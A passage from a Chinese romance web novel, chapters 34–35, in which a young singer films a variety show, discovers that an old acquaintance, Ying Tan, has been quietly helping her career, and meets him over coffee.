但亲朋好友人多嘴杂,总有风声漏到她的耳中。她眉眼染上忧色,“那该怎么办才好?”
“没事,”江优细长的眼微微弯起,“到时候如果有什么不对劲的地方,来找我问问就好。”
江潮听得认真,于是两周之后,搭飞机在霖市落地的时候,情绪略微有些紧张。
节目组的人说赞助商会提供衣服,江潮只带了个背包,在机场外等待节目组的保姆车。
从机场到酒店,她与导演组见了面,开始拍摄之前,艺人统筹与她详细讲解了这季综艺的新模式。
“之前两季节目,我们采用的是艺人点餐、艺人制作的模式,偏向于田园慢生活。比较稳定,也没有新意。”
“这一季更像是城市挑战,节目组向网友群众征集任务,再让嘉宾去完成这些任务。收集食材这个玩法没有变化,只不过场地从田地变成了市内。”
套房客厅里稍显凌乱,一侧墙角堆叠着桶装泡面,几盒没吃完的盒饭与一打汽水散落桌边。
节目组的工作人员来来往往,经过时都难免偷偷瞥来。
都知道这一期拍摄要来一位空降的素人网红,许多人心中都犯琢磨。
走后门进组的不少是大爷脾气,没咖位也喜欢耍大牌,网红素质参差不齐,说不准更难伺候。
没想到这位与想象中的似乎不同,长相放在娱乐圈里亦是上乘,人还温温柔柔,眼眸总是带着笑,看着很好相处。
明里暗里的打量不少,江潮仿若未察,在椅上坐得端正,认真得像是在学习课本。
她听完讲解,问:“是城市里会有不同的补给点吗?”
“哦,不是,食材是需要你们自己去商店里买,或者想办法去兑换的,节目组不会给你们准备。当然,嘉宾不能用自己的钱,”
艺人统筹解释:“就像是玩游戏,货币初始设定是零,玩家需要自己想办法挣钱——唯一一条限制就是不能刷脸。”
江潮眨了一下眼睛,“那对我来说就是没有限制。”
艺人统筹愣了一下,爽朗笑起来:“哈哈,还是要提醒一下的,我看过你的唱歌视频,粉丝将近二十万,也算是小有知名度了。”
聊完细节,江潮想起江优的叮嘱,委婉问起有没有什么她需要遵循的剧本或者人设。
对方闻言又笑,像是她说了什么很奇怪的话,摇头回答没有。
“三天拍摄,你玩得开心就好,”旁侧场记扒着盒饭插嘴:“如果有什么需要剪辑的画面,我们后期会处理。”
三餐有约拥有三位常驻嘉宾,一位活宝综艺咖,一位老干部作风的影视演员,还有一位是拥有几部电视剧作品的新生代小花。
有些出乎江潮的预想,她遇到的人都很好相处。
飞行嘉宾与常驻嘉宾要在三天三夜中轮流搭配做任务。
第一天拍摄,与她搭档的老前辈荣继、年轻相声演员卞宇,知道这是江潮第一回上综艺,对她都特别关照。
“小江之前是乐队主唱,”荣继接到任务后主动提议,“不然我们这一回试试找条大街卖唱?”
“行行行,我还怕你们节目把我塞哪家餐厅后厨去洗盘子来着,卖唱我拿手啊,我给你们打快板伴奏。”
卞宇说着,转头看江潮:“我也有几个玩乐队的朋友,小江之前签的哪家公司?摩登乐社?还是历代制作?咱们说不准还有共友。”
“我没有跟公司签过约,”江潮笑应,“和几个朋友一起组的乐队,在街上随便唱唱歌,只是以前的一点儿兴趣爱好。”
卞宇愣了一下,仿佛是意外,紧接着迅速咧开笑,咋呼道:“那你这不是专业对口吗?荣老师我们今天可以躺赢了啊。”
确实算是专业对口,第一天拍摄十分顺利。
江潮并不会过度在意镜头,不内敛、不浮夸。
她和几位明星一起并行,不显得突兀,还遇到路人大叔拿着手机冲着她频频拍摄,兴奋地说“明星现实里长得果然跟天仙一样”,惹得搭档对她一阵调侃。
第二天拍摄是与那位综艺咖,抽到的任务是为一位要过生日的环卫阿姨制作并送上蛋糕。
过程亦然顺风顺水,她的搭档幽默有趣,时
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不时抛出几个网上热门的梗。
江潮对于网络热梗不太熟悉,但熟读冷笑话大全,与他搭配起来效果出奇,就连摄影师大哥都被逗笑数次。
晚上回到酒店,导演助理还敲开江潮的房间,问她这几天感觉怎么样。
“很好,”她诧异微怔,旋即答得真诚,“大家都对我很照顾。”
像是在收集好评问卷,导演助理欣然点头,又问她:“明天拍摄结束,大家准备一起吃个晚饭,你有时间来吗?”
江潮答应下来。
这次的综艺体验,与她预想中的似乎天差地别。她没有深思,拿起手机下楼,准备去楼下超市。
酒店长廊上安静无人,江潮心情不错,步子轻盈,尚未走过拐角时听见电梯抵达楼层,“叮”的一声,在寂静的走廊上分外清晰。
踩着高跟的脚步声嗒嗒作响,人声随之传来,声音不大,但足以辨别。
“你说你们公司的那位大公主?我知道啊,前两天才到。”
江潮眼睫微眨,有些意外,脚步下意识停了一停。
她认出了这道声音的主人,是她明天的合作搭档,那位名叫翟熹然的新生代小花。
翟熹然似乎在和人讲电话,安静了片刻,才继续开口,这回压低了声音。
“我也不清楚……导演之前和我们聊天,意思好像是她在资方那边有金主,我没多问。”
高跟鞋声停滞,门卡被刷开。
“行泉姐,我找机会套套话。”
“啪”的一声沉闷轻响,门关了。
长廊重归寂静,江潮方才还微扬的心情渐渐沉下。
她静立稍许,微微颦眉。
——翟熹然说的人是她吗?
她心生困惑,觉得不解。可隐隐约约之间,沉浮于思绪中的那些模糊光点,又好像随着那几句话串联成线。
江潮想起统筹在听见她问“有没有剧本”后微显古怪的神色,想起场记的那一句“你玩得开心就好”。
她也想起这些天受到的种种关照,飞机落地的那一天,导演见她只有一个人,还问她要不要为她安排一位生活助理。
娱乐圈最为逐利,一位与节目组没有任何利益关系的半素人,真的会因为飘在头条上的黑红流量,而进入他们的视野中吗?
可如果真的有人在帮她,她为什么对此一无所知?
江潮微微抿唇,垂眼看着脚下金红长毯,终于抬步。
深夜的超市是安静的,临近打烊时间,顾客三三两两。
她站在货架前,琳琅满目的商品映入视野,许多人的名字出现在思绪里,又被一一否决。
有人推着购物车从一旁经过,江潮回过神来,挑选了几只用于补充体力的巧克力棒,转身去结账。
排队队伍不长,江潮买完东西,回到酒店。
背包放在桌边,她走过去,眼角余光瞥见沙发上搭着的一套衣物。
节目组赞助商提供的服饰,时尚奢牌。
某一段记忆突兀涌上脑海,江潮指尖轻攥巧克力的包装,忽地怔然。
她想起来,林斯敬家中,似乎经营着时尚相关的产业。
仿若要印证她的猜想,手机忽地震动,许久未见的那个人给她发了新信息。
-最近过得怎么样?
34. 第 34 章
综艺最后一天拍摄,她与翟熹然搭档。
对方态度随和亲昵,不显异常。直至拍摄结束,导演组与嘉宾前往一家私房菜用餐,翟熹然坐在江潮身侧,席间笑着转头看她。
“小溱以后是想要进圈吧?团队找好了吗?”
江潮从小耳濡目染,对圈内明星背后的团队模式不算陌生,但也不算特别了解。
这集综艺预计在两个月后播出,该如何运作首次曝光,确实是她现在就应该开始考虑的事。
她刚答了声“还没有”,方桌对面,卞宇笑着接话:“小溱以后要是想和公司签约,可以来找我,我帮你引荐。”
桌上嘉宾都是娱乐圈中的前辈,江潮趁机请教,聊起新人入圈的注意事项。
这家私房菜装修得古朴,青砖灰瓦、雕花门窗,墙面上挂着数张书法作品。
吃到一半,江潮起身去卫生间,穿过红木八仙桌之间隔着的屏风,走向厅外回廊。
导演组在廊边单独的包间里,听说是合作方来了人。她经过时,恰巧有人拿着手机开门出来。
银色的十字项链在视野中微晃,江潮稍稍扬眸,鞋底在红雪松长廊上轻顿。
是张略微熟悉的面庞。
凯毕伦的那场派对本就是圈中人举办,参与派对的人会出现在这里也不足为奇。
她回神,抿唇微笑,说了声“不好意思”,侧身想要借过。
对方却出声:“等等。”
包间门扉被反手关上,贺宛廷对着电话那头说了声“稍等”,按了挂断。
他扫过女孩出水芙蓉般的面容,这一回没有再不以为意地偏开视线。
贺宛廷长得温文尔雅,也善于伪装翩翩公子,藏着眼底兴味十足的审视,和善一笑:“江潮,是吗?”
他伸出手,“想见你很久了。久仰大名,我是贺宛廷。”
江潮又一次止步,微讶转身。
贺宛廷,她知道这个人。凯毕伦集团的独生子,同样在波士顿留过学。
她在国外的时候,听过别人在八卦时提起过这个名字,好像说的是……他有一位去世的白月光。
但他们二人应该没什么交集才对,江潮伸手,与他礼貌一握,疑惑得坦然,“你认识我吗?”
贺宛廷笑得愈深:“我是某位伯乐先生的朋友。”
旁人眼中行事风格不择手段的应先生,竟然会为一个女孩儿欠下人情,让他帮忙找人牵线。
那时他又一次问起原因,而对方指间夹着烟,沉默良久,开口时却是一副轻描淡写的神态。
——说什么“不过是一笔投资,利益足够丰厚”。
什么利益不利益,贺宛廷不相信他有兴趣兼职星探,只觉得这人原来也挺会装正人君子。
是谁能让应潭那种人动了心思,他压不住好奇,本来差遣秘书助理便足够,却腾出时间,亲自来了趟霖市。
男人神态暗藏揶揄,而江潮看懂了。
她刹那间便想起了翟熹然说的那一位“幕后金主”,手指微微攥住,榛色瞳仁微闪,染着几分茫然,“……伯乐?”
“如果方便的话,”女孩似是犹豫了一下,询问,“可以告诉我这位伯乐先生是谁吗?”
贺宛廷神态倏然一顿,颇觉意外,又想要发笑。
——做好事不留名,不知道应总什么时候拥有了乐于助人的癖好。
贺宛廷本以为他是喜欢强取豪夺的类型,这回算是开了眼界。
他倒也没准备帮忙戳破窗户纸,还有电话要打,贺宛廷看了一眼手机,只是压着笑暗示:“他还在等你请他吃饭。”
女孩怔然,旋即露出恍然神色。
她也弯唇,这回眸光里笑意真挚许多,“我有一段时间没回国了,你有什么推荐的餐厅吗?”
贺宛廷略一思索,轻笑:“最近新开了一家,叫作醉肴。如果你没去过的话,不妨试一试。”
青竹假山在深夜里寂静屹立,贺宛廷站在长廊下,打完电话,想起刚才的见闻,唇角还是忍不住勾起弧度。
他索性又拨出一个号码,待到接通,张口便道:“应总,你又欠我一个人情。”
稍沉的呼吸声从声筒中传来,“什么?”
“你回老家的前一个晚上,爽了你约的那一个人,就是那位江小姐吧?”
跑步机速度减缓,直至彻底停止运行。应潭迈步下来,扯下脖颈间毛巾,随意擦拭颌侧淌落的汗水。
“贺总去霖市应当是为了谈生意,”
他嗓音浸着运动过后的低哑,到中岛台边,拿起玻璃杯,不咸不淡道:“怎么突然关心起我的事。”
“就是想告诉你一件好事——江小姐大概要请你吃饭了。”
冷水渐渐漫过杯底,应潭沉默数秒,并未多问,只道:“她什么时候回来?”
“听说是明天早上的飞机。”贺宛廷声音含笑:“不用客气,把醉肴最好的位置空出来吧。”
雨后的天穹灰蒙一片,被锋锐机翼划破,遗留浅白色的尾迹。
机场外停着辆法拉利,车身张扬赤红。有打扮精致的姑娘拉着行李箱停在车边,弯身轻轻敲了一下车窗玻璃。
车窗降下,驾驶座上男人成熟俊朗,神态倜傥不羁,身上古龙水味浅淡。
他投去一瞥,“有事?”
女生眼眸似是一亮,又靠近一些,挽起耳边碎发,柔声问:“先生,你这车载客吗?”
“不载,”男人似乎并不意外,勾唇笑笑,往车前抬了抬下巴,“只载我女朋友。”
那女生愣了一愣,循着他的视线往前看去。
机场大厅入口繁忙,推着行李箱的旅客来来往往,其中一道身影分外出挑。
她立刻猜出对方说的女朋友是谁,打量几眼,泄气地一撇嘴,故作直率:“有钱又帅的男人果然都有对象。”
林斯敬哑然失笑。
江潮走近的时候,便看见他手搭在敞开的车窗边,低头在看手机。
她开门坐进副驾,林斯敬抬头看来,眉眼染着明显的笑意。
“尊敬的溱溱小姐,”他启动车辆,语气调侃:“我俩多久没见了?怎么回来不告诉我?”
“要不是别人跟我说在派对上看到你了,我还不知道你回国了。”
“突然决定要回来的,”江潮眉眼微弯,低头系好安全带,“这段时间太忙,没来得及联系老朋友。”
“忙什么?你不是回来玩的吗?”林斯敬挑了挑眉,“难不成某位女士终于决定回国工作了?”
江潮微顿,转头看他。
她有些不解,但仍旧答:“进了娱乐圈,那短时间内大概不会再出国了。”
车内静了一静,林斯敬猛然扭头,似是极为震惊,飞快看了她一眼。
“你进娱乐圈了?”
他尾音扬起,惊讶难掩,“什么时候的事?我怎么不知道?”
江潮骤然怔住。
秋冬午时明媚而不刺目的阳光透过挡风车窗映落,她瞳仁近似剔透,疑惑写在眼里。
“……你不知道吗?”
林斯敬同样露出茫然神态。
红灯亮起,他停下车,“等等,我该知道吗?你现在很红?演了什么最近新上的热门剧?”
江潮眼眸微微睁大了些,染上几许惊异困惑。
贺宛廷与林斯敬年纪相仿,又同在申城的富二代圈子里长大,两人相识并不奇怪。
况且贺宛廷昨夜提起饭局,而林斯敬前天才与她约好回申城一起吃饭。
种种迹象相叠,她理所当然地以为是林斯敬帮她找的人脉。
“不是,我以为——”
她下意识张口,话还未说完,便回过神来,转开话题
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。
“……没有。我现在只参加了一部综艺。”
“你上综艺了?什么综艺?”
心中困惑难解,江潮有些心神不定。
“三餐有约,刚刚拍完。”她回答,“等播出了,你要记得给我捧场。”
“那是当然。”林斯敬倏然笑起来:“我回头让我爸公司的人带薪看剧,给你刷收视率。”
法拉利驶上大道,林斯敬提起醉肴这家餐厅,说那是夜阑酒吧背后老板投资的店。
“他们家刚开不久,广告已经打到波士顿去了?”他打趣,“你怎么会想到去那儿。”
“是……一个朋友推荐的。”江潮迟半拍地答,“说是他们家味道不错。”
“是不错,我去过一回,他们家两道招牌菜,白兰地焗龙虾,法式红酒牛排,在申城能排上前十。”
消解的疑虑重返,这回变得愈深,江潮说话时心不在焉,思绪好似理不清的乱麻。
不是林斯敬,那还能是谁?她猜不出问题的答案。
餐厅坐落于江边小楼,不在市区、位置偏僻,门前却停着不少车辆。进门后便见一堵墙绘,水墨泼洒出酒窖轮廓,风格似曾相识。
墙绘一角,前台听见开门声响,抬头看来。
“你好,几位——”
林斯敬上前,答:“两位,有预约。”
他报出名字,却见那前台身侧,一个穿着白色厨师服的男人愣了一下,目光直勾勾地往他的身后看。
林斯敬眉头微皱,几分自得,又有些许不耐,伸手敲了敲台面,“我订的是靠窗的位置。”
前台连忙应声,转头招手,让服务生带他们入座。
两位客人被领走,前台坐回椅子上,转头问:“越哥,你找我什么事啊?”
“什,什么事……”越成功魂不守舍,转身往酒室里走,把刚才想说的事儿都忘了个干净,“没,没事。”
醉肴的特色是将好酒与好菜结合,有一间专门放酒的酒室。
越成功踏入酒室,中途经过靠窗的一列桌位,忍不住瞅了好几眼。
入目光线骤然黯淡,鼻尖萦绕着馥郁酒香。
房间昏暗幽静,男人穿着黑衬衣,衣袖松松挽在手肘,立于温控储酒柜边。听见脚步声响,他偏了偏脸,神色寡淡地看来。
越成功心思复杂,喊了声“应哥”。
应潭手上拿着瓶酒,是刚从夜阑带过来的珍品,随手置于独立的储酒格里。
他应了声“嗯”,转身往外走。
越成功“哎”地喊了一嗓子,干瘪地想着话题,“……应、应哥,你,你要请,请人,来醉肴吗?”
应潭颔首,见他站在门前,稍稍抬了抬眉:“怎么?”
男人眉眼淡淡,一双眼黑不见底。比起年少时,他如今的五官轮廓更加深邃锐利,高耸眉骨在眼睑上压下一片阴影,带着种迫人的冷意。
越成功觉得自己有点儿脑子犯抽。
虽然当初范钱荣鬼鬼祟祟地告诉他,应哥有一位女神,还因为这位女神跟别人在一起,而消沉颓废了好一阵子。
……但现在都过了好几年,看应哥这冷心冷面的模样,恐怕早已把那什么女神忘到了脑后,又怎么会再受到什么刺激。
他清了清嗓子,往旁边让了让,磕磕绊绊道:“没、没、没事。”
应潭没有将他的反常放在心上。
酒已经备好,说要请他吃饭的某人迟迟没有消息。
应潭扯了扯唇,浸着自嘲,多年步步为营,却总因她失了沉着,而他竟不抗拒这种感觉。
他穿过桌椅屏风,手伸入口袋里,指腹触及手机坚硬的轮廓。
眼角余光忽地瞥见了什么,应潭视线偏了偏。
靠窗的桌边,女孩儿笑容温婉,纤细手指搭在脸侧,对着桌对面的男人,巧笑倩兮。
35. 第 35 章
江潮与林斯敬确实许久没有见过面了。
那年乐队解散,她前往国外读书。林斯敬则收了心,回到家中公司。
后来江潮几次回国,他都在其他城市出差。直至大三那年,她家中出事,他得知消息,特意从外地赶了回来。
话题转到毕凯伦的派对,林斯敬状若无意地问起,是谁向她发了邀请。
江潮提起许甘,而林斯敬微微一愣,神色染上感慨。
“咱们几个也好久没聚了。”
他摇头:“当年是我的问题,爷爷去世,家里一团糟,结果冲着朋友撒气。”
“小甘过年时应该会回来。”江潮掌心撑着脸,应,“到时候叫上陈勉哥,大家一起见见面。”
银色刀叉搁在碟沿,碗中浓汤渐渐转温。服务生在桌间忙碌,她无意识间一抬眼,目光往不远处落了一落。
女孩儿浓密眼睫轻眨,原本手支着腮、微垂着肩,颇为放松的神态,却在那一瞬不自觉地坐直。
餐厅二楼的走廊边,男人身形颀长,看不清侧脸,然而脖子上一处青色纹身,分明是她不久之前才见过的图案。
江潮手执着汤匙细长的柄,盛起的汤忘了送入口中。下一瞬,那个男人转过身,一对浓眉压着黢黑狭长的眼,拾级而下。
她放下支在脸颊边的手,手指微微曲起,指尖点在桌面上。
应潭似是投来一瞥,他像遇到了什么烦心事,面无表情,嘴唇毫无弧度地抿着。
视线对上,江潮眨了眨眼,露出一个礼貌的笑。
男人仿若没有看见她,淡漠至极的眸光一触即离,大步流星地从桌间穿过。
林斯敬抬起头,瞧见江潮凝视着他身后,一副微怔的模样,下意识循着她的目光回头。
视野之中,有人往门外走去,背影颀长挺拔。他看了一眼,问:“怎么了?”
江潮回过神,摇了摇头。
“没事,”她话音微停,笑笑,“只是看到了认识的人。”
碗底余下一层薄薄的汤,随着时间流逝,渐渐凉了个彻底。
天气也在转凉,江潮起身,披上风衣,又裹好围巾。
林斯敬体贴地帮她拿着包,忍不住笑:“波士顿不是很冷吗?你怎么一点儿都没被锻炼出来。”
“其实还是有一些,”江潮答:“回来之后,我的袜子不用加绒了。”
他们边说话,边往外走,经过水墨墙绘,林斯敬绅士道:“你在门口等等,我去把车开过来。”
江潮点头说好。
然而他还没走出几步,停车场最前排,他们左前方十来步之外,一辆漆黑的迈巴赫突兀鸣笛。
林斯敬皱眉看过去,隔着前挡风玻璃,与驾驶座上神色冷峻的男人对上目光。
他脚步骤然停下,瞳孔微眯,似是在回想辨认,而下一刻,那男人已然开门下车。
“江潮。”
熟悉的车辆,车牌也与印象中的隐约相同。
江潮早已认出那是应潭的车,只是没有想到他在车上,更没想到他会突然下来,这般嗓音沉沉、眼神深深,喊出她的名字。
短暂怔神,她很快弯眸微笑,“我刚才就在里面看见你了,好巧。你也来这里吃饭吗?”
应潭走近几步,背着光,骨相更显深邃,“巧?”
“不算巧,”他扯起唇角,近乎轻嗤,“我在等你。”
江潮语气里疑惑难藏,“……等我?”
秋风扬起落叶,林斯敬手中的车钥匙险些落了地。
他重新跨上餐厅前的一层台阶,仿佛强势地插入打乱了那一片空气。
“这不是以前的在曲溪的那位……我记得是叫应潭吧?”
林斯敬余光瞥向他身后的车辆,似笑非笑地打招呼,“你来申城了啊。现在在车行里上班么?”
应潭看过去,口吻不冷不淡,“林先生的眼力见还是与以前一样差。”
林斯敬唇边笑意倏然消失不见。
空气寂静,有顾客从身后餐厅里推门出来,好奇地投来打量目光。
二人针锋相对的气息太过明显,江潮睁着眼眸,有些茫然,在短暂迟疑后转头看向应潭,想将话题扯开,“你等我做什么?”
应潭掀了掀眼皮。
他看向江潮,神态疏冷,却像是在讨债:“江小姐是不是忘了,还欠我两顿饭局?”
江潮怎么会忘,分明是他一直没有回复她的微信信息。
于是她难免猜测,他一步一步走到今天的地位,平日里大概十分忙碌。她说要请客还人情,或许他根本不在意,早就将这件事忘在了脑后。
她张了张口,还未来得说话,身侧男人便先一步开口。
“欠你什么?饭局?不好意思,”林斯敬扯起江潮的手腕,反唇相讥:“今天她有约了,你的眼力见好像也不怎么样。”
应潭视线下落,停留在男人搭着她纤细手腕的手指上,复而抬眼。
他像是在反问林斯敬,黑眸却一眨不眨地盯着江潮:“是吗?”
“听贺总说,有人想要请我上醉肴。”男人扯扯唇角,微不可察的弧度却泛着冷,“看来是他会错了意。”
——贺总?
贺宛廷?
江潮怔住,一双漂亮的桃花眼倏然睁圆,唇齿亦然微张。
在暗地里帮助她的人,竟然是应潭?
震愕与惊诧交织,她思绪空白一瞬。下一个瞬间,应潭仿若读懂她的神态,转过身,抬步往车边走。
“……等等。”
江潮回过神来,下意识挣脱林斯敬的手,向前几步。而林斯敬愣了一下,追上前,皱眉问:“什么意思?溱溱?”
他语气暗藏不快,“你们俩之间到底发生了什么?”
应潭人高腿长,已然开门上车,启动引擎。
江潮止住脚步,本就没有理清的思绪愈发凌乱,不理解应潭为什么会暗中帮她找人脉。
她想到过很多个名字,其中唯独没有他。
迈巴赫驶出车位,利落地在她眼前停下。就像那天在群星娱乐楼底,也像是暴雨夜中的餐厅之外。
他降下车窗,没有看她,语气很淡,“上车。”
林斯敬脸色难看。
江潮不知道事情怎么会发展到这个地步,一切都糊里糊涂,她好像被莫名其妙地推上了一座独木桥,要选择去往的方向。
她咬了一下唇侧,匆匆做了决定:“斯敬哥,不好意思……我还有些事要问他,之后再跟你解释。”
车门关上,紧接着毫不留念地驰离。
林斯敬的身影被落在车后,看不清神色。
江潮坐在车里,一颗心跳得有些快,眼睫掀动的频率也更频繁。
男人斜睨一眼,分明光明正大地将她从另一个人身边短暂夺走,眉梢眼尾却仿若仍旧浸在冰冷寒意里。
斯敬哥?
叫得真他妈亲昵。
他长眉紧压着眼,沉默片刻后开口,嗓音冷而沉,平铺直述地提醒:“安全带。”
江潮反应过来,低头,将安全带系紧。
车里的温度有些高,她
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攥着围巾一角,平复心情后扭头,叫了一声“应潭”。
“你之前说的贺总,是贺宛廷吗?”
应潭看着前方车道,“嗯”了一声。
围巾尾端毛茸茸的流苏被缠绕在指尖,江潮心绪复杂,眼眸眨了几下,忍不住问:“你为什么要帮我?”
车厢里寂静下来。
车载音乐没有开启,车窗同样紧闭着,呼啸风声被悉数阻隔。
江潮攥着流苏,看他,迟疑地张了张口,却又没有发出声音。
他静默一刹,没有什么表情,反问:“你当初又为什么要帮我?”
手指力道微松,流苏从指缝间垂落。
江潮不自觉绷紧的肩颈放松下来,心尖无意识压下的石头也消失不见了。
原来……
原来他是在报答从前的人情吗?
“可我以前其实也没有做过什么,”
她轻声说,松懈后声音带着坦然,“只不过是一些举手之劳,任何人都能做到。”
应潭察觉到她松了的那一口气,嗓音近乎是冷漠的。
“我做的事,也只是举手之劳。”
或许对他而言的确是这样,但对江潮来说意义非凡。
她不知该怎么道谢才最为恰当,言语太过单薄,她应当做些什么,却又不知自己还能为如今的他做什么。
马路街边,一家咖啡厅映入视野,应潭心底仿佛有无名火在烧,余光瞥见,倏然向右侧打了方向盘。
车停在路边,他下车,拉开她的车门,稍稍俯身,掌心撑着车顶。
“你也吃不下了,”
衬衣因着弯腰的幅度而略微绷紧,应潭眉眼冷然未消,眸底暗光意味不明,“这一次的饭局,不如用咖啡相抵。”
江潮抬眸看他,怔了一怔,应了声好。
咖啡厅内人并不多,咖啡师在台后忙碌,听见有客人进来,转过头,先招呼了一声“下午好”,紧接着愣了一愣。
开门而入的男人大步走近,面容轮廓如欧洲人般深邃,眉眼鼻唇又是亚洲人的英俊皮相。
他疏冷面容染着淡淡的戾气,开口点了两杯冰美式。
站在他身侧的姑娘亦然漂亮高挑,长相清冷,仿若雪山上的高岭之花,神态却柔和如月。
她拿着手机准备付账,在听见男人点单之后,似乎愣了一愣,出声:“我……”
那男人眉眼间戾意更沉,头也不回地打断,“不准点拿铁。”
他的嗓音冷到仿佛沾了冰,咖啡师面带营业微笑,视线却在他俩之间来回转悠,八卦之意近乎溢出眼睛。
江潮眼眸眨了一下,意外又疑惑。
“……我是想说,”她看向咖啡师,“其中一杯要少冰。”
应潭似乎微微一顿,稍稍偏过脸来。
咖啡师应声转身,江潮目光又落向应潭。
那句不准点拿铁是什么意思,她心生困惑,不明所以地开口:“我也比较喜欢喝冰美式。”
这么多年过去,她的喜好也早已有了变化。
男人稍稍一默。
他静了几秒钟,睨她,“改口味了?”
……他知道她以前喜欢喝拿铁吗?
江潮愈发茫然,瞥见他一脸淡然的神态,又觉得或许是自己多想。
“嗯,”她只是答,“改了。”
有人从过道边经过,他单手插在口袋里,稍稍侧身避让,别开了眼。
“哦,”浑身冷意因她的一句话而无声无息地消融,他的口吻却平淡,“明智的选择。”